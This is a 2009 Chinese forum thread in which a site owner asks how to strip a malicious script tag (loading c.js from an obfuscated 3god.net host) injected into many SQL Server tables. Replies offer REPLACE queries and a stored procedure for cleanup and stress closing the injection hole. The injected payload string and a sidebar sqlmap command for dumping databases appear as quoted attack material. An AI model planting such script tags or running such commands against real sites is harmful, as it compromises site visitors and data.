sql server 多个表被注入

2009-08-07 10:24:55 140 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

72.网络安全渗透测试—[SQL注入篇11]—[SQLSERVER+ASP-报错注入] 我认为，无论是学习安全还是从事安全的人，多多少少都有些许的情怀和使命感！！！文章目录一、SQLSERVER+ASP 报错注入 1、sql server的报错页面 2、SQLSERVER+ASP 报错注入示例阅读详情

sql server 多个表被注入一段恶意代码 <script src=http://3god.ne%54/c.js></script>
怎么批量替换这些代码？

...全文

sql注入之——sqlmap教程一、指定注入点 -u：指定注入点url 需要用户输入[Y/N]，如果你懒得输入或者不懂怎么输入可以让程序自动输入，只需添加一个参数即可，命令如下： C:\Python27\sqlmap>python sqlmap.py -u "http://192.168.1.150/products.asp?id=134" --batch 二、暴库一条命令即可曝出该sqlserver中所有数据库名称，命令如下： C:\Python27\sqlmap>python sqlmap.py -u "http:// 阅读详情

duduotianya

ASP 28,401 成员 356,940 内容

+ 关注 + 加入社区

切换为时间正序

duduotianya 2009-08-08

打赏
举报

防注入已经做了

lzp4881 2009-08-07

打赏
举报

光替换是没有用的，关键是要找出注入点，堵上漏洞。不然你今天替换了，明天又被注入。

sy_binbin 2009-08-07

打赏
举报

那你参考下面的方法试试
http://hi.baidu.com/gzqsd/blog/item/353aa3a96b78ffb8ca130c68.html

duduotianya 2009-08-07

打赏
举报

UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')
只能一个表一个表，一个字段一个字段的替换？？

invoked 2009-08-07

打赏
举报

[Quote=引用 2 楼 hookee 的回复:]
先备份
语句中%改为[%]
SQL codeUPDATE tblSET xxx=REPLACE(xxx,'<script src=http://3god.ne[%]54/c.js></script>','')
[/Quote]
Up

hookee 2009-08-07

打赏
举报

先备份
语句中%改为[%]

UPDATE tbl SET xxx = REPLACE(xxx, '<script src=http://3god.ne[%]54/c.js></script>', '')

sy_binbin 2009-08-07

打赏
举报

语法
REPLACE ( original-string, search-string, replace-string )

参数
如果有某个参数为 NULL，此函数返回 NULL。

original-string 被搜索的字符串。可为任意长度。

search-string 要搜索并被 replace-string 替换的字符串。该字符串的长度不应超过 255 个字节。如果 search-string 是空字符串，则按原样返回原始字符串。

replace-string 该字符串用于替换 search-string。可为任意长度。如果 replacement-string 是空字符串，则删除出现的所有 search-string。

例子：
update jobs set job_desc=REPLACE(job_desc,'wgc','abc')Where min_lvl=10
将表jobs 中的job_desc字段中的'wgc'替换为'abc'，条件为Where min_lvl=10

wellsoho 2009-08-07

打赏
举报

[Quote=引用 6 楼 lzp4881 的回复:]
光替换是没有用的，关键是要找出注入点，堵上漏洞。不然你今天替换了，明天又被注入。
[/Quote]

同意。一定要做好防sql注入，否则白改。

duduotianya 2009-08-07

打赏
举报

--DROP PROCEDURE dbo.sp_delmuma
CREATE PROCEDURE dbo.sp_delmuma
AS
declare @delStr nvarchar(500)
set @delStr='<script src=http://3god.ne%54/c.js></script>' --要被替换掉字符

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@columnType int,@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (175,167,239,231,35,99) 为char,varchar,nchar,nvarchar,text,ntext类型
select name,xtype from syscolumns where xtype in (175,167,239,231,35,99) and id=@tbID
open cur1
fetch next from cur1 into @columnName,@columnType
while @@fetch_status=0
begin
if (@columnType=99)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(8000)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
--update news set content=replace(cast(content as varchar(8000)),'<script src=http://3b3.org/c.js></script>','')
end
else if (@columnType=35)
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(cast(['+@columnName+'] as varchar(300)),'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
else
begin
set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
end
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow>0
begin
print '表：'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
end
fetch next from cur1 into @columnName,@columnType

end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off

GO
================================
这样行么？高手们！

sql server 多个表被注入

相关推荐